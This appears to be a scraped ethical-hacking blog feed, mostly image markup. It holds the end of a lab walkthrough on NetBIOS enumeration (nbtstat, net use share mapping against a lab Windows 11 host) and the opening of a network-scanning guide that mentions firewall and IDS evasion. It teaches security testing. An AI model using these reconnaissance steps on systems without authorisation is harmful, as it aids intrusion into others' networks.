https://substackcdn.com/image/fetch/$s_!_0AK!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F98b1e60a-bc52-44a5-bcde-042336fd625b_1818x848.png 848w, https://substackcdn.com/image/fetch/$s_!_0AK!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F98b1e60a-bc52-44a5-bcde-042336fd625b_1818x848.png 1272w, https://substackcdn.com/image/fetch/$s_!_0AK!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F98b1e60a-bc52-44a5-bcde-042336fd625b_1818x848.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>The nbtstat results reveal that the target machine at 10.10.1.11 is a Windows 11 workstation named "WINDOWS11" that belongs to the default "WORKGROUP." </p><p>The output shows the machine has file sharing services enabled and is acting as the master browser for the workgroup, which means it maintains a list of network resources and can share files. </p><p>The enumeration also exposes the machine's MAC address (00-15-5D-01-80-11), providing both service information and hardware identification that can be used for further network reconnaissance and potential access attempts.</p><div><hr></div><h4><strong>C) Use nbtstat -c to Display NetBIOS Name Cache</strong></h4><p>The NetBIOS name cache is a temporary storage area that holds the mappings of NetBIOS names to their corresponding IP addresses, allowing for quicker name resolution on a network. It helps improve network performance by reducing the need to repeatedly resolve names through broadcasts or a name server.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!32eE!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F51e2c7aa-56c1-4fa8-bf37-0aabb927918c_1850x560.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!32eE!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F51e2c7aa-56c1-4fa8-bf37-0aabb927918c_1850x560.png 424w, https://substackcdn.com/image/fetch/$s_!32eE!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F51e2c7aa-56c1-4fa8-bf37-0aabb927918c_1850x560.png 848w, https://substackcdn.com/image/fetch/$s_!32eE!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F51e2c7aa-56c1-4fa8-bf37-0aabb927918c_1850x560.png 1272w, https://substackcdn.com/image/fetch/$s_!32eE!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F51e2c7aa-56c1-4fa8-bf37-0aabb927918c_1850x560.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!32eE!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F51e2c7aa-56c1-4fa8-bf37-0aabb927918c_1850x560.png" width="1456" height="441" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/51e2c7aa-56c1-4fa8-bf37-0aabb927918c_1850x560.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:441,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:132533,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://darkmarc.substack.com/i/173696599?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F51e2c7aa-56c1-4fa8-bf37-0aabb927918c_1850x560.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!32eE!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F51e2c7aa-56c1-4fa8-bf37-0aabb927918c_1850x560.png 424w, https://substackcdn.com/image/fetch/$s_!32eE!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F51e2c7aa-56c1-4fa8-bf37-0aabb927918c_1850x560.png 848w, https://substackcdn.com/image/fetch/$s_!32eE!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F51e2c7aa-56c1-4fa8-bf37-0aabb927918c_1850x560.png 1272w, https://substackcdn.com/image/fetch/$s_!32eE!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F51e2c7aa-56c1-4fa8-bf37-0aabb927918c_1850x560.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>The command <code>nbtstat -c</code> is used to display the contents of the NetBIOS name cache on your machine. If you have the Internet Protocol (TCP/IP) installed and are connected to a network, it should run, but it may return "no names in cache" if there are no entries.</p><div><hr></div><h3>Step 3) Use 'net use&#8217; to perform NetBIOS enumeration</h3><p>The <code>net use</code> utility is a built-in Windows command that establishes, displays, or disconnects connections to shared network resources. </p><p>In NetBIOS enumeration, it allows us to discover and connect to shared folders, printers, and other resources on target machines.</p><p>When combined with NetBIOS name resolution, net use can help identify accessible shares and test authentication requirements, providing valuable intelligence about the target's security posture and available resources.</p><h4>A) Type <code>net use /?</code> to view the syntax you can use for this command:</h4><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!og8U!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7dd65261-38f5-47ae-ad15-ebcc95539288_1846x834.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!og8U!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7dd65261-38f5-47ae-ad15-ebcc95539288_1846x834.png 424w, https://substackcdn.com/image/fetch/$s_!og8U!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7dd65261-38f5-47ae-ad15-ebcc95539288_1846x834.png 848w, https://substackcdn.com/image/fetch/$s_!og8U!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7dd65261-38f5-47ae-ad15-ebcc95539288_1846x834.png 1272w, https://substackcdn.com/image/fetch/$s_!og8U!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7dd65261-38f5-47ae-ad15-ebcc95539288_1846x834.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!og8U!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7dd65261-38f5-47ae-ad15-ebcc95539288_1846x834.png" width="1456" height="658" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/7dd65261-38f5-47ae-ad15-ebcc95539288_1846x834.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:658,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:261363,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://darkmarc.substack.com/i/173696599?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7dd65261-38f5-47ae-ad15-ebcc95539288_1846x834.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!og8U!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7dd65261-38f5-47ae-ad15-ebcc95539288_1846x834.png 424w, https://substackcdn.com/image/fetch/$s_!og8U!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7dd65261-38f5-47ae-ad15-ebcc95539288_1846x834.png 848w, https://substackcdn.com/image/fetch/$s_!og8U!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7dd65261-38f5-47ae-ad15-ebcc95539288_1846x834.png 1272w, https://substackcdn.com/image/fetch/$s_!og8U!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7dd65261-38f5-47ae-ad15-ebcc95539288_1846x834.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><h4>B) Run net use command</h4><p>The net use command will output the available shares on NetBIOS for the current machine. In the example output below, we can see that there is one share available.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!t8pV!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa15b9ffe-b20e-4a3b-bda1-45733a5c3250_1850x532.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!t8pV!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa15b9ffe-b20e-4a3b-bda1-45733a5c3250_1850x532.png 424w, https://substackcdn.com/image/fetch/$s_!t8pV!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa15b9ffe-b20e-4a3b-bda1-45733a5c3250_1850x532.png 848w, https://substackcdn.com/image/fetch/$s_!t8pV!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa15b9ffe-b20e-4a3b-bda1-45733a5c3250_1850x532.png 1272w, https://substackcdn.com/image/fetch/$s_!t8pV!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa15b9ffe-b20e-4a3b-bda1-45733a5c3250_1850x532.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!t8pV!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa15b9ffe-b20e-4a3b-bda1-45733a5c3250_1850x532.png" width="1456" height="419" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/a15b9ffe-b20e-4a3b-bda1-45733a5c3250_1850x532.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:419,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:125968,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://darkmarc.substack.com/i/173696599?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa15b9ffe-b20e-4a3b-bda1-45733a5c3250_1850x532.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!t8pV!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa15b9ffe-b20e-4a3b-bda1-45733a5c3250_1850x532.png 424w, https://substackcdn.com/image/fetch/$s_!t8pV!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa15b9ffe-b20e-4a3b-bda1-45733a5c3250_1850x532.png 848w, https://substackcdn.com/image/fetch/$s_!t8pV!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa15b9ffe-b20e-4a3b-bda1-45733a5c3250_1850x532.png 1272w, https://substackcdn.com/image/fetch/$s_!t8pV!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa15b9ffe-b20e-4a3b-bda1-45733a5c3250_1850x532.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>The output shows the current network connections established from your machine:</p><p><strong>Status Column</strong>: Shows "OK" indicating the connection is active and functioning.</p><p><strong>Local Column</strong>: Shows "Z:" which means this remote share has been mapped to the local drive letter Z on your machine.</p><p><strong>Remote Column</strong>: Shows "\WINDOWS11\Shared Folder" which indicates:</p><ul><li><p>The target machine's NetBIOS name is "WINDOWS11"</p></li><li><p>There is an accessible shared folder called "Shared Folder" on that machine</p></li><li><p>This share is currently connected and mapped to your local Z: drive</p></li></ul><p><strong>Network Column</strong>: Shows "Microsoft Windows Network" indicating this connection is using standard Windows file sharing protocols.</p><p><strong>Key Findings from this enumeration:</strong></p><ol><li><p><strong>Successful Connection</strong>: The "OK" status confirms you have successfully authenticated and connected to a share on the target machine (WINDOWS11 at IP 10.10.1.11).</p></li><li><p><strong>Share Discovery</strong>: You've discovered that the target machine has at least one accessible network share named "Shared Folder".</p></li><li><p><strong>Access Level</strong>: Since the connection was successful, you have at minimum read access to this share (and potentially write access depending on the share permissions).</p></li><li><p><strong>Drive Mapping</strong>: The share has been mapped to drive letter Z:, meaning you can now access the remote files as if they were on a local drive by navigating to Z:\ in Windows Explorer or command prompt.</p></li></ol><p>This information is valuable for further enumeration as you can now explore the contents of this share to potentially discover sensitive files, user data, or other resources that could be useful for your assessment.</p><div><hr></div><h2>Lab Completion and Next Steps</h2><p>Upon completing this lab, you have successfully:</p><ol><li><p>Used <code>nbtstat -a</code> to enumerate NetBIOS name tables and identify target machine services</p></li><li><p>Used <code>nbtstat -c</code> to view local NetBIOS name cache entries</p></li><li><p>Used <code>net use</code> to discover and connect to accessible network shares</p></li><li><p>Gathered intelligence about the target system including machine name, workgroup membership, running services, and accessible resources</p></li></ol><div><hr></div><h2>Security Implications</h2><p>This lab demonstrates how legacy protocols like NetBIOS can expose significant information about Windows systems, even without authentication. The reconnaissance data gathered through NetBIOS enumeration can be used for:</p><ul><li><p>Identifying potential attack vectors through accessible shares</p></li><li><p>Understanding network topology and trust relationships</p></li><li><p>Gathering information for social engineering attacks</p></li><li><p>Planning further enumeration and exploitation activities</p></li></ul><div><hr></div><p>Thanks for joining me for this lab exercise. </p><p>Happy hacking!</p>]]></content:encoded></item><item><title><![CDATA[The Complete Guide to Network Scanning (Ethical Hacking)]]></title><description><![CDATA[Scanning is the second phase in ethical hacking, where you scan machines discovered in the previous phase (footprinting and reconnaissance) for ports and services that may be vulnerable to attack, which you can use to gain access to a system.]]></description><link>https://darkmarc.substack.com/p/the-complete-guide-to-vulnerability</link><guid isPermaLink="false">https://darkmarc.substack.com/p/the-complete-guide-to-vulnerability</guid><dc:creator><![CDATA[Dark Marc]]></dc:creator><pubDate>Mon, 25 Aug 2025 00:36:12 GMT</pubDate><enclosure url="https://substackcdn.com/image/fetch/$s_!Ds3k!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1714a278-8566-4a3d-8137-be32c5765046_1500x500.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p><strong>Scanning</strong> is the second phase in ethical hacking, where you scan machines discovered in the previous phase (<a href="https://darkmarc.substack.com/p/the-complete-guide-to-footprinting">footprinting and reconnaissance</a>) for ports and services that may be vulnerable to attack, which you can use to gain access to a system.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!Ds3k!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1714a278-8566-4a3d-8137-be32c5765046_1500x500.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!Ds3k!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1714a278-8566-4a3d-8137-be32c5765046_1500x500.png 424w, https://substackcdn.com/image/fetch/$s_!Ds3k!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1714a278-8566-4a3d-8137-be32c5765046_1500x500.png 848w, https://substackcdn.com/image/fetch/$s_!Ds3k!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1714a278-8566-4a3d-8137-be32c5765046_1500x500.png 1272w, https://substackcdn.com/image/fetch/$s_!Ds3k!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1714a278-8566-4a3d-8137-be32c5765046_1500x500.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!Ds3k!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1714a278-8566-4a3d-8137-be32c5765046_1500x500.png" width="1456" height="485" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/1714a278-8566-4a3d-8137-be32c5765046_1500x500.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:485,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:295144,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:false,&quot;topImage&quot;:true,&quot;internalRedirect&quot;:&quot;https://darkmarc.substack.com/i/170809241?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1714a278-8566-4a3d-8137-be32c5765046_1500x500.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!Ds3k!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1714a278-8566-4a3d-8137-be32c5765046_1500x500.png 424w, https://substackcdn.com/image/fetch/$s_!Ds3k!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1714a278-8566-4a3d-8137-be32c5765046_1500x500.png 848w, https://substackcdn.com/image/fetch/$s_!Ds3k!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1714a278-8566-4a3d-8137-be32c5765046_1500x500.png 1272w, https://substackcdn.com/image/fetch/$s_!Ds3k!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1714a278-8566-4a3d-8137-be32c5765046_1500x500.png 1456w" sizes="100vw" fetchpriority="high"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>This phase targets specific hosts to identify weaknesses in their operating systems, services, or applications, guided by the client&#8217;s scope and Rules of Engagement (RoE). </p><div><hr></div><h2><strong>Phase 2: Scanning - Three Step Process</strong></h2><p><strong>Phase 2: Scanning is made up of three steps that work together:</strong></p><ol><li><p><strong>&#187; <a href="https://darkmarc.substack.com/p/the-complete-guide-to-vulnerability">Network Scanning</a></strong> (current step) - We discover live hosts, open ports, and running services using tools like Nmap. This gives us a broad view of what's available on the network.</p></li><li><p><a href="https://darkmarc.substack.com/p/the-complete-guide-to-enumeration">Enumeration</a> - We go beyond basic discovery by establishing active connections with target systems. We perform directed queries to extract detailed information like user accounts, network shares, and service configurations.</p></li><li><p><a href="https://darkmarc.substack.com/p/the-complete-guide-to-vulnerability-6e3">Vulnerability Scanning</a> - We identify specific security weaknesses in the services we've discovered and enumerated, preparing us for the actual exploitation phase.</p></li></ol><p><strong>In this guide, we&#8217;ll go over Network Scanning in detail then, i</strong>n following guides, we&#8217;ll go deeper on enumeration and vulnerability scanning.</p><div><hr></div><h2>In this guide, you will learn:</h2><ol><li><p><strong>Basic network scanning concepts</strong> include the role of scanning, TCP/IP stack mechanics, and goals like identifying hosts, ports, and vulnerabilities.</p></li><li><p><strong>Scanning techniques for host and service discovery</strong> cover methods like ICMP Ping, ARP, TCP SYN, and UDP scans to detect live systems and services.</p></li><li><p><strong>Advanced scanning and evasion techniques</strong> use tools like Nmap, packet crafting, and AI-driven analysis to bypass firewalls and IDS stealthily.</p></li><li><p><strong>Countermeasures and ethical considerations</strong> ensure scans align with RoE while understanding defenses like ICMP blocking and spoofing detection.</p></li></ol><p>This guide equips you with practical techniques to conduct network scanning on 